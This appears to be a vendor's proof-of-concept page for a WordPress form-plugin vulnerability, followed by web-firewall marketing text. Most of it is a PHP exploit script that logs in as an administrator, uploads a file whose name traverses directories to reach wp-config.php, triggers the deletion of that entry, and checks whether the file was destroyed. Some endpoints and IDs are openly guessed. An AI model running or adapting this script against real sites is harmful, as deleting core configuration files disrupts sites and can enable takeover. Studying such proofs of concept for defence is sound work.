// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-130010 - Chatterbug Forms <= 1.1 - Unauthenticated Arbitrary File Deletion via Content-Disposition 'filename='

// This PoC demonstrates the vulnerability by simulating an attacker planting a malicious form entry
// and an administrator triggering deletion. Due to the requirement of admin action, this script
// automates both steps assuming access to admin credentials.

$target_url = 'http://example.com'; // WordPress site URL
$admin_user = 'admin'; // Admin username
$admin_pass = 'password'; // Admin password
$file_to_delete = '/var/www/html/wp-config.php'; // Absolute path to target file

// Step 1: Log in as admin to simulate the required admin action
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $admin_user,
    'pwd' => $admin_pass,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Submit a form entry with a malicious filename
// We need to know a form ID that has a file upload field. Assume form_id=1.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'cbforms_submit_form', // Hypothetical action, adjust based on plugin
    'form_id' => '1',
    'field_1' => 'test',
    // Malicious filename with directory traversal
    'field_2' => new CURLFile('/tmp/dummy.txt', 'text/plain', '../../../../' . $file_to_delete)
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Trigger deletion by accessing the admin entry deletion endpoint
// The exact endpoint may vary; this is a generic representation.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=cbforms_entries&action=delete&entry_id=123'); // Assume entry_id
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

// Check if file was deleted (e.g., via HTTP request to wp-config.php)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-config.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 404) {
    echo "File deletion successful: $file_to_delete no longer accessible.n";
} else {
    echo "File deletion may have failed (HTTP $http_code).n";
}

// Note: This PoC requires valid admin credentials and knowledge of a form with a file upload field.
// In a real attack, the attacker would plant the entry via a public form and wait for admin to delete it.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.